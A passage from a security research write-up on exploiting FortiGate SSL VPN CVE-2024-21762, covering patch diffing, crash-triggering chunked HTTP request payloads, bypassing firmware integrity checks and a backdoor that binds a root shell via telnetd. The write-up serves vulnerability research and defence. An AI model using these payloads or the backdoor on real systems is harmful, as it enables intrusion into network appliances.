Research Notes
March 15, 2024

Two Bytes is Plenty: FortiGate RCE with CVE-2024-21762

No items found.
Creative Commons license

Disclaimer

The exploit described in this post is tailored to the exact version of FortiGate SSL VPN used for testing. It is unlikely the exploit will work on other versions. The purpose of our research is primarily to power our exposure engine. We also publish research to add more colour and help defenders.

We strongly advise all Fortinet customers to apply the Fortinet-provided patch as soon as possible.

Introduction

Early this February, Fortinet released an advisory for an "out-of-bounds write vulnerability" that could lead to remote code execution. The issue affected the SSL VPN component of their FortiGate network appliance and was potentially already being exploited in the wild.

FortiGate is widely deployed and a pre-auth remote code execution vulnerability would have a huge impact. Our security research team immediately began work to ensure that customers of our Attack Surface Management platform were notified if they were affected.

In this post we detail the steps we took to identify the patched vulnerability and produce a working exploit.

We've highlighted the exploit chain below

Extracting the Binary

Unfortunately, we were only able to obtain versions 7.2.5 and the latest which was 7.2.7 of the appliance. This meant the delta was larger than we would have liked, but it would have to do. We set up two VMs, <span class="code_single-line">FGT_VM64-v7.2.5.F-build1517</span> and <span class="code_single-line">FGT_VM64-v7.2.7.M-build1577</span> and confirmed they worked with trial licenses.

We had worked with FortiGate before and knew that FortiGate bundled almost all the applications into one binary, <span class="code_single-line">/bin/init</span>. To obtain a copies of the binaries we mounted the vmdks from our two FortiGate VMs into a third VM. We then decompressed and extracted the <span class="code_single-line">rootfs.gz</span> archive which contained most of the filesystem.

~ $ cp ./drive/rootfs.gz ./unpacked/rootfs.gz
~ $ cd ./unpacked
unpacked $ gzip -d rootfs.gz

gzip: rootfs.gz: decompression OK, trailing garbage ignored
unpacked $ cat rootfs | sudo cpio -idmv
...
unpacked $ ls
bin.tar.xz  boot  data  data2  dev  etc  fortidev  init  lib  lib64  migadmin.tar.xz  node-scripts.tar.xz  proc  rootfs  sbin  sys  tmp  usr  usr.tar.xz  var

There was an odd "decompression OK, trailing garbage ignored" message that didn't seem to be a problem, but would cause trouble later.

Inside the archive the <span class="code_single-line">bin</span> folder is further compressed using custom versions of <span class="code_single-line">ftar</span> and <span class="code_single-line">xz</span>. The modified applications are provided in the <span class="code_single-line">sbin</span> folder and we can use <span class="code_single-line">chroot</span> to run each and extract <span class="code_single-line">bin.tar.xz</span>. This gave us the copies of <span class="code_single-line">/bin/init</span> we needed to compare.

unpacked $ sudo chroot . /sbin/xz -d /bin.tar.xz
unpacked $ sudo chroot . /sbin/ftar -xf /bin.tar
unpacked $ ls bin
acd             confsyncd        eltt2           ftk.o         init                                 lspci           ovrd        samld        speedtestd         vmtoolsd-util
acs-sdn-change  confsynchbd      extenderd       ftm2          initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  lted            pdmd        scanunitd    ssh                vned
acs-sdn-status  csfd             fas             garpd         insmod                               memuploadd      pim6d       scp          sshd               voipd
acs-sdn-update  cu_acd           fclicense       gcpd          iotd                                 merged_daemons  pimd        sdncd        ssh-keygen         vpd
alarmd          cw_acd           fcnacd          getty         ipamd                                miglogd         pppd        sdnd         sslvpnd            vwl
alertmail       cw_acd_helper    fctrlproxyd     grep          ipamsd                               mingetty        pppoed      sepmd        sysctl             wa_cs
...

Patch Diffing

We decompiled each <span class="code_single-line">/bin/init</span> binary with Ghidra and used BinDiff to compare. Unfortunately, the version difference was too big and we decided it would be easier to manually look for differences.

We started by looking at the HTTP parsing functionality. Historically, there have been memory corruption issues in this part of the code and so it seemed like a good place to start. We searched for strings of common header names such as <span class="code_single-line">Content-Length</span> and <span class="code_single-line">Transfer-Encoding</span> as well as paths we knew were associated with the SSL VPN component like <span class="code_single-line">/remote/login</span>.

We would look for each of these strings in both versions and then try to line up the functions to see if there were any changes. Function names were stripped, but log messages often included the function name, this proved very helpful. We slowly looked through these functions and where they were called, labelling and comparing where we could.

We found <span class="code_single-line">FUN_01701ee0</span> which appeared to handle parsing HTTP requests that used chunked transfer encoding. The patched version of this function contained some additional length checks and error messages. The relevant original and patched versions are shown below. Comments and function names have been added where possible.

The first check is added when processing the HTTP trailers sent after the chunked body.

// unpatched
while (1 < iVar3) {
    param_1->field649_0x2d0 = 4;
LAB_0170216e:
    iVar3 = FUN_01707e10__ap_getline(param_1->ap_read_dest_buf_2f8, iVar3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 1);

// patched
while (1 < iVar3) {
    // new check ensuring we have read less than 1024 bytes so far
    if (0x400 < param_1->amount_read) {
        uVar7 = 0x6cf;
        pcVar6 = "%s: %d invalid chunk trailer: too long\n";
        uVar5 = *(undefined8 *)(param_1->field1_0x8 + 0x170);
        goto LAB_0170c82d;
    }
    param_1->field649_0x2d0 = 4;
LAB_0170c346:
    iVar3 = FUN_01712050__ap_getline(param_1->ap_read_dest_buf_2f8, iVar3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 1);

The second check is added when decoding the length of a chunk.

// unpatched
iVar3 = FUN_01707e10__ap_getline(param_2, param_3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 0);
lVar6 = (long)iVar3;
param_1->amount_read = lVar6;
if (0 < lVar6) {
    if (lVar6 < param_1->remaining_buf_size_2f0 + -1) {
        ppuVar4 = __ctype_b_loc();
        pbVar2 = param_1->ap_read_dest_buf_2f8;
        if ((*(byte *)((long)*ppuVar4 + (ulong)*pbVar2 * 2 + 1) & 0x10) != 0) {
            iVar2 = FUN_01701e30_hex_decode(pbVar2);
            param_1->chunk_length = iVar2;

            if (iVar2 == 0) {
                ...
            } else {
                ...
            }
            ...
            goto LAB_017023e6;

// patched
iVar3 = FUN_01712050__ap_getline(param_2, param_3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 0);
lVar6 = (long)iVar3;
param_1->amount_read = lVar6;
if (0 < lVar6) {
    if (lVar6 < param_1->remaining_buf_size_2f0 + -1) {
        ppuVar4 = __ctype_b_loc();
        pbVar2 = param_1->ap_read_dest_buf_2f8;
        if ((*(byte *)((long)*ppuVar4 + (ulong)*pbVar2 * 2 + 1) & 0x10) != 0) {
            iVar2 = FUN_0170c000_hex_decode(pbVar2);
            param_1->chunk_length = iVar2;

            // new check ensuring the hex encoded chunk length string is less than 17 bytes
            if (lVar6 < 0x11) {
                if (iVar2 == 0) {
                    ...
                } else {
                    ...
                }
                ...
                goto LAB_0170c5d6;
            }

            // new error message
            uVar7 = 0x691;
            pcVar6 = "%s: %d invalid chunk length string\n";
            uVar5 = *(undefined8 *)(param_1->field1_0x8 + 0x170);
LAB_0170c82d:
            // example of a log message containing the function name
            FUN_0177a950_log(uVar5, 8, pcVar6, "sslvpn_ap_get_client_block", uVar7);
        }
        

<div id="finding-an-endpoint"></div>

Finding an Endpoint

This was promising, but we still didn't know if it was exploitable. We couldn't determine how to reach this function through static analysis. Instead we turned on debug logging and started sending chunked requests to some of the known endpoints. Debug logging was enabled with the following commands.

diagnose debug enable
diagnose debug application sslvpn -1

Every endpoint we tried logged the error <span class="code_single-line">chunked Transfer-Encoding</span> forbidden. Searching for this string we found the function that logged the error. The error was only logged when the function was called and the second argument was 1.

if (param_2 == 1) {
    FUN_0176fa00_log(
        *(undefined8 *)(param_1->field8_0x8 + 0x170), 8,
        "chunked Transfer-Encoding forbidden: %s",
        param_1->field334_0x180
    );
    iVar1 = (-(uint)(__nptr == (byte *)0x0) & 0xb) + 400;
    goto LAB_01701c4f;
}

We checked all the call sites for this function and worked backwards from the ones that called it where <span class="code_single-line">param_2</span> was not 1. One of the calling functions contained a helpful log message and the function name, <span class="code_single-line">default_handler</span>. All this time we had been looking for a specific endpoint, but we didn't consider no endpoint!

<div id="triggering-a-crash"></div>

Triggering a Crash

We knew two checks were added in the patch.

  1. The amount of data read before getting to the chunk trailers had to be less than 1024 bytes.
  2. The chunk length string had to be less than 17 characters.

We wrote a Python script to start prodding the endpoint with different chunked requests focusing on these two aspects. The parsing was surprisingly resilient, the amount of data read was always kept within the allocated buffer. We tried chunk lengths that would decode to negative integers, but these immediately terminated the parsing. Many other malformed requests were also handled gracefully.

Luckily, we did eventually get a crash with the following payload. A zero-length chunk indicating the end of the request body, followed by 89 chunk trailers. Weirdly neither of these seem to violate the new checks as we understood them.

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0\r\n"
data += b"A: X\r\n"*89

<div id="setting-up-a-debugger"></div>

Setting up a Debugger

To investigate the crash we had to setup a debugger. However, the management shell provided can't run system commands or access the filesystem. We would have to backdoor one of the existing binaries. This meant bypassing some integrity checks performed during startup. The checks were performed by the kernel during the boot process and by <span class="code_single-line">/bin/init</span> shortly after. We will start with <span class="code_single-line">/bin/init</span> because the checks there were easier to bypass.

Patching /bin/init

We searched for the string <span class="code_single-line">rootfs.gz</span> and found a function (<span class="code_single-line">FUN_028af770</span>) that loads an RSA key then reads <span class="code_single-line">rootfs.gz</span> and some other files. This was most likely the integrity check we were looking for.

pRVar2 = d2i_RSAPublicKey((RSA **)0x0,(uchar **)&local_140,0x10e);
if (pRVar2 != (RSA *)0x0) {
    iVar1 = FUN_0286b790("/data/rootfs.gz","/data/rootfs.gz.chk",param_1,pRVar2);
    if (iVar1 == 0) {
        iVar1 = FUN_0286b790("/data/flatkc","/data/flatkc.chk",param_1,pRVar2);
        bVar6 = iVar1 == 0;
        goto LAB_028af802;
    }
}

We tried to trace this function call backwards but hit a dead end. Instead, we decided to look from the other end and searched for the string "System is starting" which is printed to the console during startup. Just after "System is starting" we saw a block that Ghidra didn't disassemble.

00452b36 bf 46 16        MOV        EDI=>s__System_is_starting..._02ce1646,s__Syst   = "\nSystem is starting...\n"
         ce 02
...
00452b57 e8 74 9e        CALL       <EXTERNAL>::reboot                               int reboot(int __howto)
         fe ff
                     -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
00452b5c 31              ??         31h    1
00452b5d ff              ??         FFh
00452b5e e8              ??         E8h
00452b5f 8d              ??         8Dh
00452b60 e0              ??         E0h
00452b61 fe              ??         FEh
00452b62 ff              ??         FFh

We forced Ghidra to disassemble this block and found some function calls which led to the integrity check above.

This block also contained <span class="code_single-line">FUN_00451440</span> which was called when the integrity checks failed. <span class="code_single-line">FUN_00451440</span> contained a log message with the function name <span class="code_single-line">do_halt</span>. The decompiled block is shown below with the important calls commented.

void UndefinedFunction_00453c11(void)
{
    int iVar1;

    FUN_00450830(1);
    FUN_004539e0();
    FUN_00452f80();

    iVar1 = FUN_004515c0();
    if (iVar1 != 0) {
        FUN_00451440(); // <- do_halt
    }

    iVar1 = FUN_00451610();
    if (-1 < iVar1) {
        FUN_00451440(); // <- do_halt
    }

    iVar1 = FUN_0286a5b0();
    if (iVar1 == 0) {
        iVar1 = FUN_00451570(); // <- Check rootfs.gz
        if (iVar1 == 0) {
            FUN_00451440(); // <- do_halt
        }
        FUN_028b0100();
    } else {
        FUN_02957580();
        iVar1 = FUN_00450280("/bin/fips_self_test");
        if (iVar1 == 0) {
            FUN_00451440(); // <- do_halt
        }
    }
    ...
    

Since <span class="code_single-line">do_halt</span> was called multiple times, we patched it to just return immediately. This way we only had to make one change instead of modifying multiple integrity checks.

The <span class="code_single-line">do_halt</span> function was changed from this

00451440 55              PUSH RBP
00451441 be a1 05        MOV        ESI=>DAT_000005a1,0x5a1
         00 00
00451446 bf e0 23        MOV        EDI=>s_do_halt_02ce23e0,s_do_halt_02ce23e0       = "do_halt"
         ce 02

to this.

00451440 c3              RET
00451441 be a1 05        MOV        ESI=>DAT_000005a1,0x5a1
         00 00
00451446 bf e0 23        MOV        EDI=>s_do_halt_02ce23e0,s_do_halt_02ce23e0       = "do_halt"
         ce 02
         

After patching the instruction in Ghidra we used this helpful script to save our changes back to the binary.

Kernel Debugging

The other check we needed to bypass was done by the kernel. Reading <span class="code_single-line">extlinux.conf</span> from our mounted vmdk we could see the kernel boot arguments and the name of the kernel image: <span class="code_single-line">flatkc</span>.

drive $ cat extlinux.conf
DISPLAY boot.msg
TIMEOUT 10
TOTALTIMEOUT 9000
DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz maxcpus=1 mem=2048M

Using vmlinux-to-elf we converted <span class="code_single-line">flatkc</span> to an ELF file and decompiled it.

There were more symbols here, so we searched for functions containing the word <span class="code_single-line">verify</span>. We found <span class="code_single-line">fgt_verify_initrd</span>, which was called by <span class="code_single-line">kernel_init_freeable</span> returning the value from <span class="code_single-line">fgt_verify_initrd</span>. This can be seen below.

undefined4 kernel_init_freeable(void)
{
    ...
    uVar2 = fgt_verify_initrd();
    ...
    return uVar2;
}

In <span class="code_single-line">kernel_init</span> we saw that if zero is returned the system boots, otherwise it panics.

undefined8 kernel_init(void)
{
  int iVar1;
  undefined8 uVar2;
  
  iVar1 = kernel_init_freeable();
  if (iVar1 == 0) {
    ...
    iVar1 = do_execve(uVar2,&PTR_s_init_ffffffff8160f160,&PTR_DAT_ffffffff8160f040);
    if (iVar1 == 0) {
      return 0;
    }
    if (iVar1 != -2) {
      printk(&DAT_ffffffff813cc830,s_/sbin/init_ffffffff813cc654,iVar1);
    }
  }
  panic(s_No_working_init_found._Try_passi_ffffffff813cc870);
}

Patching this check seemed too difficult. Instead we opted to attach a debugger to the kernel and just change the return value coming back from <span class="code_single-line">fgt_verify_initrd</span>.

To do this we added the following to our VM's vmx file, enabling remote debugging on port 12345.

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.hideBreakpoints = "TRUE"

We then started GDB, set a breakpoint on <span class="code_single-line">fgt_verify_initrd</span> and attached to our VM shortly after starting it.

(gdb) file flatkc.elf
Reading symbols from flatkc.elf...

(gdb) b fgt_verify_initrd
Breakpoint 1 at 0xffffffff8170a3cd

(gdb) target remote 192.168.1.197:12345
Remote debugging using 192.168.1.197:12345
0xffffffff80c77cae in memmap_init_zone ()

(gdb) c
Continuing.

When we hit <span class="code_single-line">fgt_verify_initrd</span> we exited from the function with finish and changed the return value in rax by running set <span class="code_single-line">$rax = 0</span>.

Breakpoint 1, 0xffffffff8170a3cd in fgt_verify_initrd ()
(gdb) finish
Run till exit from #0  0xffffffff8170a3cd in fgt_verify_initrd ()
se0xffffffff81708fcf in kernel_init_freeable ()
(gdb) set $rax = 0
(gdb) c
Continuing.

Unfortunately, the system still did not boot. After some debugging, we tracked it down to a function called <span class="code_single-line">populate_rootfs</span>. This function took the data loaded from <span class="code_single-line">rootfs.gz</span> and passed it to <span class="code_single-line">unpack_to_rootfs</span> to be decompressed.

// DAT_ffffffff8180d070 contains the data loaded from rootfs.gz
if (DAT_ffffffff8180d070 != 0) {
    lVar3 = (DAT_ffffffff8180d068 + -0x100) - DAT_ffffffff8180d070;
    printk(&DAT_ffffffff813cd148);
    lVar2 = unpack_to_rootfs(DAT_ffffffff8180d070,lVar3);
    

To calculate the length of the data to decompress <span class="code_single-line">0x100</span> is subtracted. This was that "trailing garbage ignored" warning we saw earlier!

This meant our repacked archive was not being decompressed correctly because it was 256 bytes shorter than expected. We figured 256 bytes was probably a signature that we would ignore anyway, so we just padded our modified archive with zeroes.

We now had the following repacking script which would be run from the unpacked rootfs folder.

echo "Recompressing bin"
sudo chroot . /sbin/ftar -cf /bin.tar /bin
sudo chroot . /sbin/xz -z /bin.tar
sudo rm -rf ./bin

echo "Repacking rootfs"
sudo find . -path './bin' -prune -o -print | sudo cpio -H newc -o > "../rootfs"
cat "../rootfs" | gzip > "../rootfs.gz"

echo "Adding trailer"
dd if=/dev/zero bs=1 count=256 >> "../rootfs.gz"

We prepared the following backdoor program which would kill <span class="code_single-line">sshd</span> and run <span class="code_single-line">telnetd</span> instead. This would replace <span class="code_single-line">/bin/smartctl</span> and has been used in previous FortiGate vulnerabilities to get easy shell access.

// compiled with gcc -g main.c -static -o smartctl-backdoor

#include <stdlib.h>

void shell() {
    system("/bin/busybox ls");
    system("/bin/busybox id");
    system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22");
}

int main(int argc, char **argv) {
    shell();
    return 0;
}

We copied everything we needed into the unpacked rootfs folder as follows.

  • <span class="code_single-line">init-patched</span> overwriting <span class="code_single-line">./bin/init</span>
  • <span class="code_single-line">smartctl-backdoor</span> overwriting <span class="code_single-line">./bin/smartctl</span>
  • <span class="code_single-line">gdb</span> from here to <span class="code_single-line">./bin/gdb</span>
  • <span class="code_single-line">busybox</span> statically compiled and copied to <span class="code_single-line">./bin/busybox</span>

We then unlinked <span class="code_single-line">./bin/sh</span> and relinked it to <span class="code_single-line">./bin/busybox</span>.

unpacked $ rm -rf ./bin/sh
unpacked $ ln -s /bin/busybox ./bin/sh

This was then repacked into <span class="code_single-line">rootfs.gz</span> and copied onto the vmdk.

We booted the VM, modified the return value of <span class="code_single-line">fgt_verify_initrd</span> with GDB and were finally able to login to the management shell.

The failing integrity checks caused some issues with the saved networking settings. We found running the following commands forced a new DHCP lease and got things working.

# config system interface
(interface) # edit port1
(port1) # set mode static
(port1) # end
# config system interface
(interface) # edit port1
(port1) # set mode dhcp
(port1) # end

We then ran the command that would trigger our <span class="code_single-line">/bin/smartctl</span> program. The <span class="code_single-line">ls</span> and <span class="code_single-line">id</span> command output was printed, which was a good sign.

# diagnose hardware smartctl
bin        dev            lib           node-scripts    sys
boot       etc            lib64         proc            tmp
data       fortidev       migadmin      root            usr
data2      init           new_root      sbin            var
uid=0 gid=0

Lastly, we connected with telnet to the device on port 22 and could start debugging.

$ telnet 192.168.1.229 22
Trying 192.168.1.229...
Connected to 192.168.1.229.
Escape character is '^]'.

/ # busybox id
uid=0 gid=0
/ # busybox ps | busybox grep sslvpnd
 3844 0         0:01 /bin/sslvpnd
 4247 0         0:00 busybox grep sslvpnd
 
 

<div id="dissecting-the-crash"></div>

Dissecting the Crash

It took a while, but we could now attach a debugger to <span class="code_single-line">/bin/sslvpnd</span> and try to triage the crash we triggered. Looking at the registers we could see <span class="code_single-line">0x0a0d</span> had been written over the start of <span class="code_single-line">r12</span> resulting in a segfault when it was dereferenced.

Program received signal SIGSEGV, Segmentation fault.
0x000000000182a544 in ?? ()
1: x/i $rip
=> 0x182a544:   and    BYTE PTR [r12+0x10],0xfd
(gdb) i r
rax            0x0                  0
rbx            0x0                  0
rcx            0x7fcdc21dda18       140521701759512
rdx            0x1                  1
rsi            0x0                  0
rdi            0x7fcdc21dd058       140521701757016
rbp            0x7ffeb2bdb750       0x7ffeb2bdb750
rsp            0x7ffeb2bdb730       0x7ffeb2bdb730
r8             0x1                  1
r9             0x7fcdc2006418       140521699828760
r10            0xffffffff           4294967295
r11            0x7fcdc7532240       140521789137472
r12            0xa0d7fcdc20548c0    724375636776667328 <- 0x0a0d over the start of this pointer
r13            0x7fcdc2054800       140521700149248
r14            0x0                  0
r15            0x10014dbaf          4296334255
rip            0x182a544            0x182a544

<span class="code_single-line">0x0a0d</span> is the <span class="code_single-line">\r\n</span> terminator used for HTTP headers and trailers, but even if we changed our request to only use <span class="code_single-line">\n</span> we still got this same crash. We set a breakpoint after the call to our potentially vulnerable function <span class="code_single-line">FUN_01701ee0</span>. Inspecting the call stack and registers at this point we could see the clobbered value. However, it was a few stack frames away.

Breakpoint 1, 0x0000000001813696 in ?? ()
1: x/i $rip
=> 0x1813696:   test   eax,eax
(gdb) x/20gx $rbp
0x7ffeb2bdb6d0: 0x00007ffeb2bdb720      0x0000000001828e8d <- frame #1
0x7ffeb2bdb6e0: 0x00007ffeb2bdb6f0      0x00007fcdc21dda18
0x7ffeb2bdb6f0: 0x00007ffeb2bdb720      0x0000000000000000
0x7ffeb2bdb700: 0x0a0d7fcdc20548c0      0x00007fcdc2054800 <- 0x0a0d
0x7ffeb2bdb710: 0x0000000000000000      0x0000000100155467
0x7ffeb2bdb720: 0x00007ffeb2bdb750      0x000000000182a540 <- frame #2
0x7ffeb2bdb730: 0x000000000bf96140      0x000000000bf96140
0x7ffeb2bdb740: 0x0000000000000000      0x0000000000000000

The clobbered value was being popped off the stack into <span class="code_single-line">r12</span> just before returning to <span class="code_single-line">0x182a540</span>. The crash then occurred a few instructions later at <span class="code_single-line">0x182a544</span>.

A buffer on the stack was used to process the chunked request, but this <span class="code_single-line">0x0a0d</span> overwrite was quite a bit past that and also skipped over the stack canaries in between.

undefined8 FUN_01813660(long param_1)
{
    astruct *paVar1;
    int iVar2;
    undefined8 uVar3;
    long in_FS_OFFSET;

    // buffer used to read from connection
    undefined local_2028 [8200]; 
    long local_20;
  
    paVar1 = *(astruct **)(param_1 + 0x2e0);

    // stack canary
    local_20 = *(long *)(in_FS_OFFSET + 0x28);

    do {
        // chunked processing function that was patched
        iVar2 = FUN_01701ee0(paVar1, local_2028, 0x1ffe);
    } while (0 < iVar2);
...

After some debugging we found where the <span class="code_single-line">0x0a0d</span> was being written. When processing the trailers in <span class="code_single-line">FUN_01701ee0</span>, <span class="code_single-line">0x0a0d</span> was written to the stack buffer at an offset that incremented each time.

param_1->field654_0x2d8 = param_1->amount_read;

// check space remaining in the buffer
while (1 < iVar3) { 
    param_1->field649_0x2d0 = 4;
LAB_0170216e:
    
    // param_1->ap_read_dest_buf_2f8 is set to the stack buffer "local_2028" in the enclosing function
    iVar3 = FUN_01707e10__ap_getline(param_1->ap_read_dest_buf_2f8, iVar3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 1);
    if (iVar3 < 1) {
        iVar3 = FUN_016f8800(*(undefined8 *)(param_1->field1_0x8 + 0x28));
        if (iVar3 - 1U < 5) goto LAB_01702310;
        break;
    }

    iVar3 = param_1->remaining_buf_size_2f0;
    lVar6 = param_1->field654_0x2d8;
    iVar2 = (long)(iVar3 + -1);

    // offset doesn't equal remaining space - 1
    if (lVar6 != iVar2) {
        param_1->field654_0x2d8 = lVar6 + 1;

        // write 0x0d
        param_1->ap_read_dest_buf_2f8[lVar6] = 0xd;
        lVar6 = param_1->field654_0x2d8;
        param_1->field654_0x2d8 = lVar6 + 1;

        // write 0x0a
        param_1->ap_read_dest_buf_2f8[lVar6] = 0xa;
        iVar2 = param_1->field654_0x2d8;
        iVar3 = param_1->remaining_buf_size_2f0;
    }

    // calculate remaining space in buffer
    iVar3 = iVar3 - (int)iVar2;
    param_1->amount_read = param_1->amount_read + iVar2;
    param_1->ap_read_dest_buf_2f8 = param_1->ap_read_dest_buf_2f8 + iVar2;
    param_1->remaining_buf_size_2f0 = iVar3;
}

With each trailer encountered the following would happen:

  1. The trailer was read into the buffer on the stack.
  2. <span class="code_single-line">0x0a0d</span> was written into the buffer at the offset stored in <span class="code_single-line">field654_0x2d8</span>.
  3. <span class="code_single-line">field654_0x2d8</span> was incremented by two.
  4. The buffer was advanced.
  5. If there was still space in the buffer, another line of input would be read.

The offset used to write <span class="code_single-line">0x0a0d</span> wasn't properly checked against the remaining buffer length and so only <span class="code_single-line">0x0a0d</span> could be written past the buffer. All the incoming data was constrained to be within the buffer.

Interestingly the offset is incremented by two each time and also used to advance the buffer. Because the offset is not reset the following would happen, assuming a buffer size of 15:

- trailer # 1 -
offset = 2
write 0x0a0d at buffer + offset (2)
advance buffer by offset, buffer = 2
check remaining (13)

- trailer # 2 -
offset = 4
write 0x0a0d at buffer + offset (6)
advance buffer by offset, buffer = 6
check remaining (9)

- trailer # 3 -
offset = 6
write 0x0a0d at buffer + offset (12)
advance buffer by offset, buffer = 12
check remaining (3)

- trailer # 4 -
offset = 8
write 0x0a0d at buffer + offset (20) - writes past the end
advance buffer by offset, buffer = 20
check remaining (-5) - terminate the loop

Since we are advancing both the buffer and offset, we get a scenario where the buffer is nearly empty and the offset is much larger than the remaining space. This would explain why none of the canaries triggered, we can go past the buffer, but only to write <span class="code_single-line">0x0a0d</span>.

<div id="a-better-crash"></div>

A Better Crash

Trying to control where we wrote <span class="code_single-line">0x0a0d</span> using this approach was difficult. We decided to track down the starting value of <span class="code_single-line">field654_0x2d8</span>, if we could start with it much higher we would need to send fewer trailers and not have to worry about the incrementing offsets.

The value of <span class="code_single-line">field654_0x2d8</span> was copied from <span class="code_single-line">amount_read</span> just before trailer processing. Looking at <span class="code_single-line">amount_read</span> we found it was set during chunk length processing.

iVar3 = FUN_01707e10__ap_getline(param_2, param_3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 0);
lVar6 = (long)iVar3;

// amount_read set to the length of the retrieved line
param_1->amount_read = lVar6;

if (0 < lVar6) {
    if (lVar6 < param_1->remaining_buf_size_2f0 + -1) {
        ppuVar4 = __ctype_b_loc();
        pbVar2 = param_1->ap_read_dest_buf_2f8;
        if ((*(byte *)((long)*ppuVar4 + (ulong)*pbVar2 * 2 + 1) & 0x10) != 0) {

            // line is hex decoded to get the chunk length
            iVar2 = FUN_01701e30_hex_decode(pbVar2);
            

The chunk length preceding the trailer processing always needed to be zero as that was how the parser knew the request body was finished. Looking at the hex decoding function, it started by skipping all leading '0' characters.

ulong FUN_01701e30_hex_decode(byte *param_1)
{
    byte *pbVar1;
    byte bVar2;
    ushort **ppuVar3;
    ulong uVar4;
    ulong uVar5;

    bVar2 = *param_1;
    while (bVar2 == '0') {
        pbVar1 = param_1 + 1;
        param_1 = param_1 + 1;
        bVar2 = *pbVar1;
    }
    

This meant we could pad our chunk length with many zeroes, <span class="code_single-line">ap_getline</span> would return a large value for <span class="code_single-line">amount_read</span>, the chunk would still be decoded to zero and trailer processing would begin. We modified our request to the following, replacing the terminator for the chunk length with a null byte which was also allowed by the parser.

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*4133 + b"\0"
data += b"A\r\n\r\n"

We set a breakpoint where the <span class="code_single-line">0x0d</span> was written when processing the trailers and ran our exploit.

Breakpoint 4, 0x00000000017021b8 in ?? ()
1: x/i $rip
=> 0x17021b8:   mov    BYTE PTR [rax+rdx*1],0xd <- param_1->ap_read_dest_buf_2f8[lVar6] = 0xd;
(gdb) i r
rax            0x7ffce9b8c868   140724229687400
rbx            0x7fc3debddc58   140479232334936
rcx            0x1029   4137
rdx            0x1028   4136  <- "0"*4133 + '\0' + '\r\n' inserted by the parser
rsi            0xfd4    4052
...

We continued until we returned from the vulnerable function <span class="code_single-line">FUN_01701ee0</span> and saw <span class="code_single-line">0x0a0d</span> written at the offset calculated at breakpoint 4.

Breakpoint 5, 0x0000000001813696 in ?? ()
1: x/i $rip
=> 0x1813696:   test   eax,eax
(gdb) x/10gx $rbp
0x7ffce9b8d860: 0x00007ffce9b8d8b0      0x0000000001828e8d
0x7ffce9b8d870: 0x00007ffce9b8d880      0x00007fc3debdda18
0x7ffce9b8d880: 0x00007ffce9b8d8b0      0x0000000000000000
0x7ffce9b8d890: 0x00007fc3dea50a0d      0x00007fc3dea54800 <- 0x7ffce9b8d890 = rax + rdx at breakpoint 4 
0x7ffce9b8d8a0: 0x0000000000000000      0x0000000100021a29

With this we could now write <span class="code_single-line">0x0a0d</span> somewhere on the stack. It's not the most powerful write primitive, but it was enough to get us started.

<div id="what-to-do-with-only-two-bytes"></div>

What to Do With Only Two Bytes

We looked at the stack and saw four options for what we could overwrite.

  1. Return addresses
  2. Saved base pointers
  3. Saved locals (miscellaneous values)
  4. Saved locals (heap pointers)

Option 1 was quickly ruled out. All the return addresses were <span class="code_single-line">0x182xxxx</span> and could only be overwritten to <span class="code_single-line">0x1820a0d</span>, which contained an invalid instruction and immediately faulted.

Option 2 was promising, rewriting the lower significant bits of these pointed them into the stack buffer used to read in the request. However, looking at each function in the call stack, none of them used stack local variables that much. Most just kept everything in registers.

Option 3 was tried for a little while, but nothing interesting happened when these values were modified.

Option 4 was all that was left and it was our least favourite, because it meant heap manipulation which had the potential to be very unreliable.

Before starting with option 4, we took a fresh stack dump without overwriting and lined up the heap addresses with the registers they would be popped into. We wanted to verify that controlling these addresses could lead to something useful before spending a lot of time setting up the heap.

0x7ffd82cad100: 0x0000000000000000      0x0000000000000000 
0x7ffd82cad110: 0x00007ffd82cad160      0x0000000001828e8d leave, ret
0x7ffd82cad120: 0x00007ffd82cad130      0x00007ff7a7f83a18 
0x7ffd82cad130: 0x00007ffd82cad160      0x0000000000000000 
0x7ffd82cad140: 0x00007ff7a8c548c0      0x00007ff7a8c54800 pop r12, pop r13 <- r13 is promising
0x7ffd82cad150: 0x0000000000000000      0x000000010003b457 pop r14, pop r15
0x7ffd82cad160: 0x00007ffd82cad190      0x000000000182a540 pop rbp, ret
0x7ffd82cad170: 0x000000000bf96140      0x000000000bf96140 
0x7ffd82cad180: 0x0000000000000000      0x0000000000000000 
0x7ffd82cad190: 0x00007ffd82cad1c0      0x000000000182a61e 
0x7ffd82cad1a0: 0x0000000000000000      0x0000000000000000 
0x7ffd82cad1b0: 0x0000000000000000      0xfffffffffffffefd pop r12, pop r13
0x7ffd82cad1c0: 0x00007ffd82caf300      0x000000000182ac05 pop rbp, ret     <- ret to mainLoop
0x7ffd82cad1d0: 0x00007ffd82cad2a1      0x000000000001d096

We traced each register through its returning function. The <span class="code_single-line">pop r13</span> and return to <span class="code_single-line">0x182a540</span> had the most promise. Looking at the disassembly we see that <span class="code_single-line">r13</span> is used as the first argument to the function we are returning from.

0182a530 ba 01 00        MOV        EDX,0x1
         00 00
0182a535 44 89 f6        MOV        ESI,R14D
0182a538 4c 89 ef        MOV        RDI,R13       <- r13 set as first argument
0182a53b e8 d0 e8        CALL       FUN_01828e10
         ff ff
0182a540 85 c0           TEST       EAX,EAX       <- where we return, having just popped r13 
0182a542 75 2c           JNZ        LAB_0182a570

We also saw in the decompilation that this function was called in a loop. We could overwrite <span class="code_single-line">r13</span> in the first pass of the loop, it would then be used as a <span class="code_single-line">param_1</span> in the second pass.

do {
